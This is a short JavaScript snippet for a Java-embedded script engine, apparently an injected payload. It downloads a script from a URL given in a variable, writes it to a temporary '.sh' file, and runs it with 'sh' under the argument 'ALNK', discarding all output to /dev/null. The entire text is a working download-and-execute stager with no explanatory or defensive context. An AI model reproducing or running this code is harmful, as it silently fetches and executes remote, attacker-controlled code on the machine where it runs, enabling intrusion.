var is = new java.net.URL(url).openStream();
var ba = new java.io.ByteArrayOutputStream();
var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
var n = 0;
while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
is.close();
var script = new java.lang.String(ba.toByteArray(), "UTF-8");
var f = java.io.File.createTempFile("flk", ".sh");
var w = new java.io.FileWriter(f);
w.write(script);
w.close();
var pb = new java.lang.ProcessBuilder();
pb.command().add("sh");
pb.command().add("-s");
pb.command().add("--");
pb.command().add("ALNK");
pb.redirectInput(new java.io.File(f.getAbsolutePath()));
pb.redirectOutput(new java.io.File("/dev/null"));
pb.redirectErrorStream(true);
pb.start();